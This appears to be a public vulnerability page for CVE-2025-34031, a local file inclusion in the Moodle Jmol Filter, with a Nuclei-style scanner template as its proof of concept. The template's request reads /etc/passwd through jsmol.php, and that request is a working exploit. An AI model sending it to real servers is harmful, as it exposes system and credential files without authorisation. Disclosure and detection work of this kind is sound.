CVE-2025-34031: Moodle Jmol Filter 6.1 - Local File Inclusion

2025-08-01 Moodle Jmol Filter PoC Public

Description

Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.

PoC

id: CVE-2025-34031

info:
  name: Moodle Jmol Filter 6.1 - Local File Inclusion
  author: madrobot
  severity: high
  description: |
    Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.
  impact: |
    Attackers can read arbitrary files from the server through the jsmol.php endpoint, potentially exposing sensitive configuration files and credentials.
  remediation: |
    Upgrade Moodle Jmol Filter to a patched version or remove the vulnerable plugin if not required.
  reference:
    - https://www.exploit-db.com/exploits/46881
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34031
  classification:
    epss-score: 0.03007
    epss-percentile: 0.86797
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N
    cve-id: CVE-2025-34031
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: cve,cve2025,moodle,lfi,edb,jsmol,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022037ea97058513052cd4224f70a719718df523670e8bd8a58bcd54a8c8e79939c5022100d6a63fa7766a766d7f994d179a8a7cc11cf5ce231e4471e088653b1d6d64c59e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities